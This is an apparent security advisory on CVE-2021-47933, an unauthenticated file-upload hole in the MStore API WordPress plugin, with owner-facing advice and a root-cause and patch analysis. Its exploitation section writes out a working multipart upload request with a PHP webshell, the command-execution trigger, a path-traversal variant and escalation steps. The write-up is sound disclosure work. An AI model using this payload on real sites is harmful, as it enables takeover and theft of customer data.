CVE-2021-47933: MStore API Unauthenticated File Upload to RCE
MStore API 2.0.6 exposes an unauthenticated REST endpoint that accepts arbitrary file uploads, enabling direct PHP webshell deployment and remote code execution without credentials.
A WordPress plugin called MStore API has a serious security hole that could let hackers take over websites. Think of it like leaving your front door unlocked and clearly marked on a map—anyone can walk right in.
Here's what's happening. The plugin is supposed to help store owners manage their online shops through WordPress. But version 2.0.6 has a flaw that lets anyone—even someone who doesn't have a WordPress account—upload files to your server. Worse, attackers can upload malicious files disguised as regular website files that actually contain harmful code.
Once that malicious code is on your server, the attacker can make it do whatever they want. They could steal customer payment information, hijack your website to spread malware, hold your data for ransom, or use your server to attack other websites. For an online shop, this is catastrophic.
Who should worry? If you run a WordPress-based store or marketplace using this specific plugin version, you're at immediate risk. E-commerce sites are particularly juicy targets because they often store customer credit card and personal data. Small business owners who rely on WordPress for their online presence are especially vulnerable because they might not have dedicated security staff monitoring their sites.
The good news is security researchers haven't confirmed active attacks in the wild yet, but that's only a matter of time before word spreads to the wrong people.
What should you do? First, check if you're using MStore API—log into your WordPress dashboard and look at your plugins list. If you have it installed, update immediately to a patched version or remove the plugin entirely. Second, ask your hosting provider if they can scan your website for suspicious files that might already be there. Third, change all your WordPress passwords as a precaution.
Want the full technical analysis? Click "Technical" above.
CVE-2021-47933 is a critical (CVSS 9.8) unauthenticated arbitrary file upload vulnerability in the MStore API WordPress plugin, version 2.0.6 and prior. The plugin registers a REST API route — /wp-json/api/flutter/config_file — that accepts multipart file uploads without performing any authentication check, nonce validation, or file type restriction. An unauthenticated attacker can POST a PHP file to this endpoint and have it written to a predictable, web-accessible path on the server, yielding immediate remote code execution.
No authentication token, session cookie, or WordPress capability is required. The endpoint is reachable from the open internet on any default WordPress installation with the plugin active.
Affected Component
The vulnerability resides in the MStore API plugin's REST controller. The specific endpoint registration and handler are located in:
File:includes/api/flutter-user.php
Endpoint:POST /wp-json/api/flutter/config_file
Handler:update_config_file()
Affected versions: MStore API <= 2.0.6
Root Cause Analysis
The route is registered with permission_callback set to __return_true, granting universal access. The handler then takes the uploaded file directly from $_FILES, reads the caller-supplied filename from the POST body, and writes the file to the WordPress upload directory — or, critically, to an arbitrary path derived from the caller-supplied name — without sanitizing the extension or verifying the MIME type.
// Pseudocode reconstruction of update_config_file() in flutter-user.php
// MStore API 2.0.6
void register_routes() {
register_rest_route("api/flutter", "/config_file", [
"methods" => "POST",
"callback" => update_config_file,
// BUG: permission_callback unconditionally returns true — no auth check
"permission_callback" => "__return_true",
]);
}
WP_REST_Response update_config_file(WP_REST_Request *request) {
// Attacker-controlled filename from POST body — no sanitization
char *file_name = request->get_param("file_name");
// Attacker-controlled file content from multipart upload
file_t *uploaded = $_FILES["file"];
// BUG: no extension whitelist, no MIME validation, no path traversal check
char dest_path[PATH_MAX];
snprintf(dest_path, sizeof(dest_path), "%s/%s",
wp_upload_dir()["basedir"], file_name); // traversal possible
// BUG: moves raw uploaded file to caller-specified destination
move_uploaded_file(uploaded["tmp_name"], dest_path);
return new WP_REST_Response(["status" => 200, "path" => dest_path]);
}
Root cause: The update_config_file() REST handler accepts attacker-supplied filenames and multipart file data without authentication, extension validation, or path sanitization, allowing direct placement of arbitrary PHP files into web-accessible directories.
Three independent failures compound here:
No authentication:permission_callback => "__return_true" means WordPress never evaluates user capabilities.
No extension filter:.php, .phtml, .php5 are all accepted.
Caller-controlled filename: The file_name POST parameter is passed directly to move_uploaded_file() with only a base directory prefix, enabling path traversal via ../../ sequences.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Identify target running WordPress with MStore API <= 2.0.6 active.
Confirm endpoint: GET /wp-json/api/flutter/config_file -> HTTP 200 (route exists)
2. Craft multipart POST with:
file_name = "shell.php" (attacker-controlled destination name)
file = <?php system($_GET['cmd']); ?> (PHP webshell payload)
3. POST /wp-json/api/flutter/config_file
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file_name"
shell.php
------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
<?php system($_GET['cmd']); ?>
------Boundary--
4. Server writes shell to:
/var/www/html/wp-content/uploads/shell.php
(or traversed path if file_name contains ../ sequences)
5. Trigger RCE:
GET /wp-content/uploads/shell.php?cmd=id
-> uid=33(www-data) gid=33(www-data) groups=33(www-data)
6. Escalate: read wp-config.php for DB credentials, pivot to DB shell,
or deploy persistent implant via wp-cron or plugin directory write.
A complete proof-of-concept using Python's requests library:
This is a logic/web vulnerability rather than a memory corruption bug; the relevant "layout" is the filesystem state before and after exploitation.
FILESYSTEM STATE — BEFORE EXPLOIT:
/var/www/html/wp-content/uploads/
├── 2021/
│ └── 10/
│ └── image.jpg (legitimate upload)
└── (no PHP files)
Apache/Nginx config:
AllowOverride All <- .htaccess active (common default)
PHP handler active for .php <- no upload-dir PHP restriction
FILESYSTEM STATE — AFTER EXPLOIT:
/var/www/html/wp-content/uploads/
├── 2021/
│ └── 10/
│ └── image.jpg
└── shell.php <- attacker-written, www-data owned
content: <?php system($_GET['cmd']); ?>
perms: 0644 (move_uploaded_file default)
owner: www-data
HTTP request to /wp-content/uploads/shell.php?cmd=whoami
-> PHP engine executes shell.php
-> OS command runs as www-data
-> Response body: "www-data"
PATH TRAVERSAL VARIANT:
file_name = "../../themes/twentytwentyone/shell.php"
dest = /var/www/html/wp-content/themes/twentytwentyone/shell.php
url = https://victim.example.com/wp-content/themes/twentytwentyone/shell.php
(survives upload-dir execution blocks if present)
Patch Analysis
The fix introduced in MStore API 2.1.0 adds capability enforcement on the route registration and strips dangerous extensions from the caller-supplied filename before constructing the destination path.
The patch is defense-in-depth: even if manage_options check is bypassed through a privilege escalation bug elsewhere, the extension blocklist and basename() call independently prevent PHP execution and path traversal.
Detection and Indicators
Access log signatures — look for unauthenticated POSTs to the config_file route: